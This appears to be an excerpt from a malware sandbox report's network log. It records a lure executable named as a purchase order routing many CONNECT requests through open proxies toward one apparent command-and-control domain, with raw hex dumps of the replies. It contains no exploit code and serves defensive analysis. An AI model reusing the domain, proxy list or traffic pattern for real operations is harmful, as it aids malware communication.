Mar 11, 2024 16:39:44.007848024 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.10	49829	58.234.116.197	8197	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.856436014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.10	49898	142.54.237.34	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.858052969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.10	49942	104.16.106.65	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.860155106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.014508009 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.10	49812	103.190.54.141	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.871185064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.10	49883	184.178.172.14	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.871786118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.10	49971	104.18.20.160	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.896595001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.050860882 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.10	49828	220.248.70.237	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.900420904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.645047903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.738847971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.113704920 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.10	49878	18.134.236.231	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.901629925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.193924904 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:44 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.10	50062	91.231.186.133	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.902470112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.10	50063	91.231.186.133	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.903054953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.10	50065	91.231.186.133	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.903740883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.10	50066	91.231.186.133	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.904239893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.10	49875	160.16.90.35	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.920623064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.356229067 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.10	49794	200.25.254.193	54240	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.926523924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.895034075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.372162104 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 16:39:47.795481920 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.10	49889	94.131.106.196	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.933152914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.598191023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.535813093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.411329031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.158305883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.608850956 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.10	50001	172.67.181.197	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.935585976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.089720964 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.10	49871	193.143.1.201	4444	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.935710907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.624011993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.613935947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.614698887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.652019024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.10	50005	104.27.15.161	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.950573921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.104944944 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.10	49972	142.54.229.249	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.951597929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.10	49865	212.108.145.195	9090	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.963192940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.10	50016	162.159.242.138	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.966913939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.127774954 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.10	50145	43.157.32.4	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.981148958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.10	50148	43.157.32.4	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.982140064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.10	50149	43.157.32.4	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.982881069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.10	49904	65.109.152.88	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.983418941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.718278885 CET	295	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Length: 127 Data Raw: 64 69 61 6c 20 74 63 70 3a 20 6c 6f 6f 6b 75 70 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 6f 6e 20 31 2e 31 2e 31 2e 31 3a 35 33 3a 20 72 65 61 64 20 75 64 70 20 31 30 2e 36 34 2e 32 33 38 2e 32 31 36 3a 35 34 30 32 36 2d 3e 31 2e 31 2e 31 2e 31 3a 35 33 3a 20 69 2f 6f 20 74 69 6d 65 6f 75 74 0a Data Ascii: dial tcp: lookup heygirlisheeverythingyouwantedinaman.com on 1.1.1.1:53: read udp 10.64.238.216:54026->1.1.1.1:53: i/o timeout

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.10	50150	43.157.32.4	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.984098911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.10	49929	211.222.252.187	8193	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:43.991609097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.10	49880	123.30.154.171	7777	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
